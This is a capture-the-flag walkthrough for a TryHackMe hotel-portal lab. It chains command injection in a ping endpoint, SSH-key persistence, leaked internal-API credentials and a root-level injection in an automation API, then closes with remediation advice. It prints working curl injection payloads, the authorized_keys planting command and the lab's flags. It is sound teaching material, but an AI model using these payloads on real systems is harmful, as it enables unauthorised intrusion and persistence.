Infinity Pool — TryHackMe Hacker Holidays Day 11
Overview
The Byte Lotus Hotel runs an internal web portal for staff connectivity checks. What starts as a simple ping tool unravels into a chain of vulnerabilities: command injection, exposed internal APIs, credential leakage via a misconfigured telephony portal, and a root-level automation service with no input sanitisation.
🔗 Attack Chain Summary
Web App → Command Injection → SSH Foothold → Internal API Enumeration → Credential Leak → FreePBX Bearer Token → Root RCE via Automation API
[Web App — /internal/netcheck]
│
│ Command injection via ping host field
│ User Flag: THM{n0_v1s1bl3_3dg3}
▼
[SSH Access — planted authorized_keys]
│
│ Internal port enumeration
▼
[Watchtower API — :3000/api/config]
│
│ Leaked FreePBX credentials + automation endpoint
▼
[FreePBX UCP — :8080 (via SSH tunnel)]
│
│ Voicemail template reveals automation bearer token
▼
[Automation API — :9000/jobs/export]
│
│ Command injection in "report" field — runs as root
▼
[Root Flag: THM{tr4c3d_t0_th3_h0r1z0n}]
Step 1: Recon & Source Code Discovery
Start with a basic nmap scan:
nmap -sV -sC -T4 <TARGET_IP>
Navigate to http://<TARGET_IP>:80 in your browser. The homepage looks like a
hotel property portal. Before touching any features, view the page source and check
JS files.
Browsing to /static/app.js reveals a hidden internal endpoint:
/internal/netcheck
This is a staff tool for pinging remote properties. It accepts a host POST parameter
and passes it directly to a shell command — a textbook command injection setup.
🔍 Key Observation
Always inspect JavaScript source files for hidden endpoints. Client-side routing and API calls frequently reveal internal paths that aren't linked from the UI.
Step 2: Command Injection via /internal/netcheck
Test the endpoint with a benign ping first:
curl -s -X POST http://<TARGET_IP>/internal/netcheck \
--data-urlencode "host=127.0.0.1"
The response shows a live ping output. Now test for shell injection using
; as a command separator:
curl -s -X POST http://<TARGET_IP>/internal/netcheck \
--data-urlencode "host=127.0.0.1; id"
Response:
uid=1001(web) gid=1001(web) groups=1001(web)
🚨 Critical Finding #1
Command injection confirmed. The
host parameter is passed directly to the shell without sanitisation. This gives
arbitrary command execution as the web user.
Grab the User Flag
curl -s -X POST http://<TARGET_IP>/internal/netcheck \
--data-urlencode "host=127.0.0.1; cat /home/web/user.txt"
Step 3: Plant an SSH Key for a Stable Shell
Working through curl is slow. Plant your SSH public key to get a proper shell.
On your attacker machine:
ssh-keygen -t rsa -b 2048 -f ./infinity -N ""
base64 -w0 infinity.pub
Copy the base64 output and inject it via the netcheck endpoint:
curl -s -X POST http://<TARGET_IP>/internal/netcheck \
--data-urlencode "host=127.0.0.1;mkdir -p /home/web/.ssh;\
echo <BASE64_PUBKEY>|base64 -d > /home/web/.ssh/authorized_keys;\
chmod 700 /home/web/.ssh;\
chmod 600 /home/web/.ssh/authorized_keys;#"
Then SSH in:
ssh -i infinity web@<TARGET_IP>
You now have a stable, interactive shell as web.
Step 4: Internal Port Enumeration
Check what's listening internally:
ss -tlnp
Discovered Services
| Port | Service | Notes |
|---|---|---|
| 80 | Edge App (Gunicorn) | Public-facing web app |
| 3000 | Watchtower API | Internal only |
| 8080 | Apache / FreePBX UCP | Internal only |
| 9000 | Automation API | Internal, runs as root |
| 3306 | MariaDB | — |
| 5038 | Asterisk AMI | — |
Three Gunicorn applications are running:
ps aux | grep gunicorn
root 664 ... /var/www/infinity_pool/automation/venv/bin/gunicorn --bind 127.0.0.1:9000 wsgi:app
web 665 ... /var/www/infinity_pool/edge/venv/bin/gunicorn --bind 0.0.0.0:80 wsgi:app
svc-watchtower 666 ... /var/www/infinity_pool/watchtower/venv/bin/gunicorn --bind 127.0.0.1:3000 wsgi:app
🎯 Target Identified
The automation service on port 9000 runs as root — this is the escalation target.
Step 5: Leaked Credentials from the Watchtower API
The watchtower service on port 3000 is readable via curl:
curl -s http://127.0.0.1:3000/api/health
{"bind":"127.0.0.1:3000","service":"watchtower","status":"ok"}
curl -s http://127.0.0.1:3000/api/config
{
"automation_endpoint": "http://127.0.0.1:9000",
"note": "internal network only -- do not expose",
"ops_note": "UCP still on default template creds (FreePBXUCPTemplateCreator) -- ROTATE.",
"telephony_pass": "St4yN0t1c3d_2026",
"telephony_portal": "http://127.0.0.1:8080/ucp",
"telephony_user": "FreePBXUCPTemplateCreator"
}
🚨 Critical Finding #2
The config API has no authentication and
exposes plaintext credentials: FreePBXUCPTemplateCreator /
St4yN0t1c3d_2026, plus the automation endpoint URL. The ops note even
acknowledges the credentials need rotation — but they never were.
Step 6: SSH Port Forwarding to Access FreePBX
The UCP panel on port 8080 is only accessible internally. Forward it to your local machine:
ssh -o IdentitiesOnly=yes -i infinity \
-L 8081:127.0.0.1:8080 \
web@<TARGET_IP>
Now open http://127.0.0.1:8081/ucp/ in your browser.
Log in with the credentials found above:
Credentials:
- Username:
FreePBXUCPTemplateCreator - Password:
St4yN0t1c3d_2026
Step 7: Retrieve the Automation Bearer Token from FreePBX
Inside the FreePBX UCP dashboard, navigate to the voicemail section. You'll find a voicemail message with the CID:
"Automation Key cc_auto_7b3f9a1c4e0d2f6a" <9000>
This is the bearer token for the automation API. Note it down:
cc_auto_7b3f9a1c4e0d2f6a
💡 Unusual Credential Location
Embedding an API key in a voicemail message is an unusual but real pattern for credential passing — always enumerate every service thoroughly, including non-obvious places like voicemails, emails, and log files.
Step 8: Discover the Automation API Endpoints
Probe the automation service health endpoint:
curl -s http://127.0.0.1:9000/health | python3 -m json.tool
{
"endpoints": {
"GET /health": "service status",
"POST /jobs/export": {
"auth": "Authorization: Bearer <automation key>",
"body": {"report": "<report name>"},
"desc": "archive the latest data export"
}
},
"runs_as": "root",
"service": "automation",
"status": "ok"
}
The service self-documents its only endpoint and confirms it runs as root.
Step 9: Command Injection in the Automation API → Root
Test the export endpoint with the bearer token:
curl -sS -X POST http://127.0.0.1:9000/jobs/export \
-H 'Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a' \
-H 'Content-Type: application/json' \
--data-binary '{"report":"latest"}'
{"command":"tar czf /var/automation/exports/latest.tgz /var/automation/data 2>&1",
"output":"tar: Removing leading '/' from member names\n"}
The report field is interpolated directly into a shell command — another unsanitised
injection point. Confirm RCE as root:
curl -sS -X POST http://127.0.0.1:9000/jobs/export \
-H 'Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a' \
-H 'Content-Type: application/json' \
--data-binary '{"report":"test;id;#"}'
{"output":"uid=0(root) gid=0(root) groups=0(root)\n..."}
🚨 Root Command Execution Confirmed
The report field is interpolated directly
into a tar command with no sanitisation. Since the automation service runs as root,
this gives full root-level command execution.
Now read the flag:
curl -sS -X POST http://127.0.0.1:9000/jobs/export \
-H 'Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a' \
-H 'Content-Type: application/json' \
--data-binary '{"report":"pwned;cat /root/root.txt;"}'
🎉 ROOT FLAG CAPTURED!
THM{tr4c3d_t0_th3_h0r1z0n}
Full system compromise achieved — from a hidden ping tool to root in nine steps.
Full Attack Chain
1. Recon → /static/app.js reveals /internal/netcheck
↓
2. Command Injection → host=127.0.0.1; id → RCE as web + User Flag: THM{n0_v1s1bl3_3dg3}
↓
3. SSH Persistence → planted authorized_keys via injection
↓
4. Port Enumeration → ss -tlnp reveals :3000, :8080, :9000
↓
5. Watchtower API → /api/config leaks FreePBX creds + automation URL
↓
6. SSH Tunnel → :8080 → FreePBX UCP login
↓
7. Voicemail → bearer token cc_auto_7b3f9a1c4e0d2f6a
↓
8. Automation API → /health self-documents endpoints
↓
9. Root Injection → report field → tar command → root RCE
↓
ROOT FLAG: THM{tr4c3d_t0_th3_h0r1z0n}
Key Takeaways / Remediation
❌ Vulnerable Patterns
# Unsanitised shell interpolation
os.system("ping " + user_input)
# Unauthenticated config API
GET /api/config → plaintext creds
# Credentials in voicemail
"Automation Key ..." <9000>
# Root-level service with injection
tar czf ... {report} ... 2>&1
✅ Secure Alternatives
# Use subprocess with arg arrays
subprocess.run(["ping", host])
# Require authentication on all APIs
@require_auth on /api/config
# Use secret management tools
HashiCorp Vault / env vars
# Least privilege — never run as root
User: svc-automation (no shell)
Hidden endpoints in client-side code are a common attack surface — never assume internal routes are secret.
Internal APIs often have weaker security than public-facing surfaces. Always treat them as potential attack paths.
Default template credentials with a "ROTATE" note that was never acted on — a classic operational failure.
An export job has no business running as root. Principle of least privilege prevents injection from becoming root RCE.
💭 Final Thoughts
This box demonstrates how a chain of vulnerabilities — a hidden endpoint, unsanitised input, unauthenticated internal APIs, stale credentials, and an overprivileged service — can cascade into full system compromise. Each vulnerability alone might seem low-severity, but chained together they provide a direct path from anonymous web access to root.